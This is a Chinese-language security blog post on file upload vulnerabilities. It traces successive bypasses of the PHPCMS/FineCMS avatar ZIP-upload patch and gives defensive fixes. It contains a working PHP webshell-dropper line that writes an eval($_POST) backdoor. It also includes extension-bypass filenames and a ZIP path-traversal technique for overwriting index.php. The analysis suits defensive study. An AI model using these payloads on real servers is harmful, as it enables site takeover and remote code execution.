文件上传漏洞与phpcms漏洞安全分析
目录
1. 文件上传漏洞简介
2. 文件上传漏洞的危害
3. 文件上传漏洞的触发条件
1. 文件必须能被服务器解析执行
2. 上传目录必须支持代码执行
3. 需要能访问上传的文件
4. 例外情况:非脚本文件也可能被执行
4. 常见的攻击手法
4.1 直接上传恶意文件
4.2 文件扩展名绕过
4.3 解析漏洞利用
5. 文件上传漏洞的防御措施
5.1 文件类型检查
5.2 上传路径与访问控制
5.3 服务器配置安全
6.phpcms文件上传漏洞安全分析
6.1.前言
6.2.漏洞情况
第一关:初代 PHPCMS 头像上传漏洞
第二关:FineCMS 的补丁与再次绕过(竞争条件漏洞)
编辑
第三关:利用随机数生成目录名漏洞
第四关:新补丁
正确的修复方式
结论
1. 文件上传漏洞简介
2. 文件上传漏洞的危害
3. 文件上传漏洞的触发条件
要成功利用文件上传漏洞,攻击者上传的后门文件需要满足以下关键条件:
1. 文件必须能被服务器解析执行
攻击者上传的恶意文件必须符合服务器的运行环境。例如:
- 如果服务器运行的是 PHP 环境,则攻击者需要上传
.php文件。 - 如果服务器运行的是 JSP 环境,则需要上传
.jsp文件。 - 如果服务器运行的是 ASP.NET,则
.aspx文件可能有效。
示例:
如果目标服务器只支持 PHP,而攻击者上传的是 Java Webshell(.jsp),即使上传成功,服务器也无法解析执行,攻击仍然无效。
2. 上传目录必须支持代码执行
即使上传了可执行脚本,文件存储的路径也必须是可执行目录,否则服务器不会解析代码。
- 可执行目录: 服务器会解析
.php,jsp,asp等脚本,并执行其中的代码。 - 非可执行目录: 服务器会将脚本文件当作普通文本处理,无法运行恶意代码。
示例:
如果 Web 应用将上传的文件存放在 /uploads/ 目录,并且 Nginx 或 Apache 已经配置禁止该目录执行脚本,那么即使攻击者上传了 shell.php,服务器也不会解析并执行其中的代码,攻击失败。
3. 需要能访问上传的文件
通常,上传文件成功后,服务器会返回上传文件的访问地址。如果攻击者无法访问这个地址,文件上传漏洞也无法被利用。
示例:
- 如果服务器存储路径是
/var/www/uploads/,但外部无法访问该目录,即使攻击者上传了 Webshell 也无法触发它。 - 如果文件上传成功,但服务器未返回文件访问路径,攻击者无法得知上传文件存放在哪里,除非能通过其他漏洞(如目录遍历)找到它。
4. 例外情况:非脚本文件也可能被执行
某些情况下,即使上传的不是脚本文件,也可能被服务器错误解析,从而执行恶意代码。例如:
- 图片马(图片木马):攻击者上传一张
.jpg或.png图片,但图片的元数据中隐藏了 PHP 代码。如果服务器存在解析漏洞,可能会执行隐藏代码。 - 配置错误的 Web 服务器:某些中间件(如 Apache、Nginx、IIS)可能存在解析漏洞,使非
.php文件也会被当作 PHP 代码解析。
4. 常见的攻击手法
4.1 直接上传恶意文件
攻击者利用未做任何安全限制的上传接口,直接上传如 .php、.jsp、.asp 等可执行脚本。
4.2 文件扩展名绕过
攻击者使用以下方式绕过服务器对文件后缀的限制:
- 双重扩展名(如
shell.php.jpg) - 大小写绕过(如
SHELL.PHP) - 空格或特殊字符绕过(如
shell.php.) - MIME 类型伪造(通过修改
Content-Type伪造合法文件)
4.3 解析漏洞利用
不同 Web 服务器对文件解析方式不同,可能导致绕过扩展名检查。例如:
- Apache 服务器:支持
.htaccess配置文件,攻击者可以上传.htaccess文件修改解析规则。 - IIS 服务器:
shell.asp;.jpg可能仍会被解析为.asp。 - Nginx 解析漏洞:某些版本可能会错误解析
.php/文件。
5. 文件上传漏洞的防御措施
5.1 文件类型检查
-
采用白名单机制,仅允许上传安全的文件类型,如
.jpg、.png、.pdf等。 -
验证文件扩展名,避免使用双重扩展名(如
shell.php.jpg)绕过检测。 -
检查 MIME 类型,防止攻击者伪造文件类型。
-
使用文件内容分析工具(如
fileinfo)检查文件实际类型。
5.2 上传路径与访问控制
-
存储文件时重命名,避免使用用户自定义的文件名。
-
限制上传目录的权限,确保其不可执行(例如通过
Nginx配置disable_php)。 -
采用分离存储策略,将上传文件存放在与 Web 目录隔离的存储服务器上。
-
避免返回完整的文件路径,降低攻击者利用漏洞的可能性。
5.3 服务器配置安全
-
禁止执行上传目录中的脚本,如
Apache配置.htaccess限制 PHP 解析。 -
禁用危险函数,如
eval()、exec(),防止远程代码执行。 -
开启 WAF(Web 应用防火墙),检测并拦截恶意上传行为。
-
定期扫描上传文件,发现并删除可疑文件。
6.phpcms文件上传漏洞安全分析
6.1.前言
PHPCMS 曾经是国内流行的 CMS 之一,但因安全漏洞频发,给广大站点带来了严重的安全隐患。其中,头像上传漏洞尤为经典,不仅影响 PHPCMS 本身,还波及了大量借鉴其代码的 CMS,如 FineCMS。
6.2.漏洞情况
第一关:初代 PHPCMS 头像上传漏洞
PHPCMS 头像上传功能的逻辑如下:
-
用户上传 ZIP 压缩包。
-
服务器解压 ZIP,并删除非 JPG 文件。
漏洞代码片段:

漏洞点分析
-
解压后仅删除 ZIP 根目录中的非法文件,但未递归删除文件夹中的非法文件。
复现步骤如下:
- 攻击者可上传 ZIP 包,其中包含 test 目录,并在其中放置
web.php,绕过删除机制。


第二关:FineCMS 的补丁与再次绕过(竞争条件漏洞)
FineCMS 修复代码:

利用时间差上传 ZIP 文件,其中包含如下代码:
<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>在服务器解压 ZIP 并执行删除操作的瞬间,攻击者访问 webshell,实现 Getshell。
复现步骤如下:利用burp抓包,然后通过不停发包与刷新,访问php文件,让他在上级或者其他级目录生成恶意代码

第三关:利用随机数生成目录名漏洞
为了防止竞争条件攻击,开发者修改了代码,使上传的文件存放在随机命名的目录中。然而,新机制未能正确处理解压失败的情况,导致 Webshell 仍然可能被上传。
复现步骤如下:
- 构造一个解压失败的压缩包。
- 让 PHPCMS 处理解压失败,但部分文件仍然被释放到 Web 目录。
- 由于目录删除机制缺陷,Webshell 仍然得以保留。
如何构造解压失败的压缩包
第四关:新补丁
-
头像文件解压至随机命名的目录。
-
发生错误时,立即删除临时目录。
代码示例:

绕过方法:路径穿越攻击(Directory Traversal)
构造 ZIP 文件,修改其内部文件名,如
../../../index.php。利用 Notepad++ 修改 ZIP 内部文件路径,上传后覆盖网站根目录的
index.php,实现 Webshell。
正确的修复方式
以上漏洞的根本问题在于:
-
不应直接在 Web 目录下解压用户上传的文件。
-
应使用白名单方式限制解压文件。
-
避免使用 Zip 方式上传头像,改用前端处理。
安全修复方案:
-
将 ZIP 文件解压到临时目录(如 /tmp)。
-
仅提取合法的 JPG 文件,其他文件一律忽略。
-
对解压缩的文件进行严格 MIME 类型检测。
-
采用白名单方式,避免黑名单的局限性。
结论
PHPCMS 头像上传漏洞的演变历程,展现了补丁打补丁的错误思路。正确的修复方法应从设计上避免问题,而不是简单地对抗攻击者的新手法。开发者应深刻理解文件上传的安全风险,避免重蹈覆辙。
仅仅是技术分享,不要再审核卡我啦
相关文章:
文件上传漏洞与phpcms漏洞安全分析
目录 1. 文件上传漏洞简介 2. 文件上传漏洞的危害 3. 文件上传漏洞的触发条件 1. 文件必须能被服务器解析执行 2. 上传目录必须支持代码执行 3. 需要能访问上传的文件 4. 例外情况:非脚本文件也可能被执行 4. 常见的攻击手法 4.1 直接上传恶意文件 4.2 文件…...
【deepseek】辅助思考生物学问题:ICImapping构建遗传图谱gap较大
基于ICImapping构建遗传图谱的常见问题与解答 问题一:染色体两端标记间遗传距离gap较大 答疑一 标记密度不足(如芯片设计时分布不均)重组概率低基因组结构变异软件算法限制 Deepseek的解释 #### 1. **染色体末端的重组率较低** - **现象*…...
linux磁盘非lvm分区
linux磁盘非lvm分区 类似于windows划分C盘、D盘,并且不需要多个磁盘空间合一 图形化直接分区 通过gparted 这个提供直观的图形化分区,类似windows的磁盘管理工具 下载方式: 乌班图/debian系列: sudo apt install gparted红帽…...
Windows下sql server2012安装流程
准备工作 确认系统要求:确保 Windows 系统为 Windows 7 或更高版本,且为 64 位操作系统,CPU 在 2GHz 以上,内存 4GB 或更高。 下载安装包:从微软官方网站或其他可靠渠道下载 SQL Server 2012 安装包。 关闭相关软件&am…...
css之英文换行样式
在 CSS 中,要实现英文文本自动换行但不从单词中间断开的效果,可以使用 word-wrap 或 overflow-wrap 属性。以下是相关的 CSS 属性和它们的配置: 使用 overflow-wrap 或 word-wrap /* This property is used to handle word breaking */ .wo…...
绝美焦糖暖色调复古风景画面Lr调色教程,手机滤镜PS+Lightroom预设下载!
调色教程 通过 Lr 软件丰富的工具和功能,对风景照片在色彩、影调等方面进行调整。例如利用基本参数调整选项,精准控制照片亮度、对比度、色温、色调等基础要素;运用 HSL 面板可对不同色彩的色相、饱和度以及明亮度进行单独调节;利…...
文件解析:doc、docx、pdf
1.doc解析 ubuntu/debian系统应先安装工具 apt-get install python-dev libxml2-dev libxslt1-dev antiword unrtf poppler-utils pstotext tesseract-ocr \ flac ffmpeg lame libmad0 libsox-fmt-mp3 sox libjpeg-dev swig pip install textract解析: import te…...
计算机网络基础:VLAN(虚拟局域网)
1. VLAN 虚拟局域网:可以用来隔离广播 广播和广播域: arp 出不了路由器,只能攻击内网 路由器可以隔离广播(物理隔离)缺点是成本高、不灵活 2. VLAN 隔离广播 静态VLAN:基于交换机端口号划分 动态VLAN&am…...
C++学习笔记(十一)——循环结构
循环结构的作用 循环结构用于重复执行某一代码块,直到满足特定条件后退出循环。 C 提供了以下三种循环结构: for 循环(确定次数的循环)while 循环(条件控制的循环)do-while 循环(至少执行一次的…...
【C++】二叉树相关算法题
一、根据二叉树创建字符串 题目描述: 给你二叉树的根节点 root ,请你采用前序遍历的方式,将二叉树转化为一个由括号和整数组成的字符串,返回构造出的字符串。 空节点使用一对空括号对 “()” 表示,转化后需要省略所有…...
物联网IoT系列之MQTT协议基础知识
文章目录 物联网IoT系列之MQTT协议基础知识物联网IoT是什么?什么是MQTT?为什么说MQTT是适用于物联网的协议?MQTT工作原理核心组件核心机制 MQTT工作流程1. 建立连接2. 发布和订阅3. 消息确认4. 断开连接 MQTT工作流程图MQTT在物联网中的应用 …...
【大学生体质】智能 AI 旅游推荐平台(Vue+SpringBoot3)-完整部署教程
智能 AI 旅游推荐平台开源文档 项目前端地址 ☀️项目介绍 智能 AI 旅游推荐平台(Intelligent AI Travel Recommendation Platform)是一个利用 AI 模型和数据分析为用户提供个性化旅游路线推荐、景点评分、旅游攻略分享等功能的综合性系统。该系统融合…...
【Node.js入门笔记1---初始Node.js)】
Node.js入门笔记1 初始Node.js1.Node.js简介2.Node.js中js的运行环境3.Node.js 可以做什么4.Node.js 怎么学 初始Node.js 1.Node.js简介 Node.js 是一个基于 Chrome V8 引擎 的 JavaScript 运行时环境,用于在服务器端运行 JavaScript 代码。它让开发者可以用 Java…...
自学Java-JavaSE基础加强(多线程)
自学Java-JavaSE基础加强(多线程) 一、创建线程1、方式一:继承Thread类小结 2、方式二:实现Runnable接口小结 3、方式三:实现Callable接口4、小结 二、线程的常用方法三、线程安全1、认识线程安全2、模拟线程安全问题3…...
数字后端培训实战项目六大典型后端实现案例
Q1:请教一个问题,cts.sdc和func.sdc在innovus用如何切换?在flow哪一步切换输入cts.sdc?哪一步切换到func.sdc,具体如何操作? 这个学员其实就是在问使用分段长clock tree时具体的flow流程是怎么样的?针对时…...
安卓免费多功能工具:一站式解决 PDF 阅读、编辑、转换等需求
软件介绍 今天要给大家介绍一款功能强大的PDF处理软件——PDFgear Android版。它是专为安卓设备打造的,完全免费,无需破解和激活就能使用。 此前,我们分享过它的桌面端,收获了大家的一致好评。今天要着重介绍的手机APP版本&…...
diffuser库使用本地模型生成图像
实验目的 使用diffuser库生成图像的文章是很多的,使用方法也并不复杂,安装库后调用现成的模型和接口即可,但是因为网络原因,模型下载总会遇到问题,对于使用服务器的研究者来说,挂梯子并不可行,…...
递归—基础算法
#基线条件和递归条件 #每个递归函数都有两部分:基线条件和递归条件。递归条件指的是函数调用自己,而基线条件则指的是函数不再调用自己,从而避免形成无限循环。 #栈:栈是一种数据结构,它是一种线性数据结构,…...
全面复习回顾——C++语法篇2
23、字符串相加 string s3;s3s1s2;cout<<s3; 24、结构体基本操作 struct student {// write your code here......string name;int age;double height0.0; };int main() {// write your code here......student s;cin>>s.name;cin>>s.age;cin>>s.hei…...
探秘基带算法:从原理到5G时代的通信变革【十】基带算法应用与对比
文章目录 三、算法在现代通信系统中的应用3.1 5G 通信中的应用3.1.1 信道编码与调制解调3.1.2 大规模 MIMO 技术3.1.3 案例分析:5G 基站与终端实现 3.2 卫星通信中的应用3.2.1 抗干扰与纠错编码3.2.2 信号处理与调制解调3.2.3 案例分析:卫星通信系统实例…...
MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例
一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...
【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
MySQL 知识小结(一)
一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库,分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷,但是文件存放起来数据比较冗余,用二进制能够更好管理咱们M…...

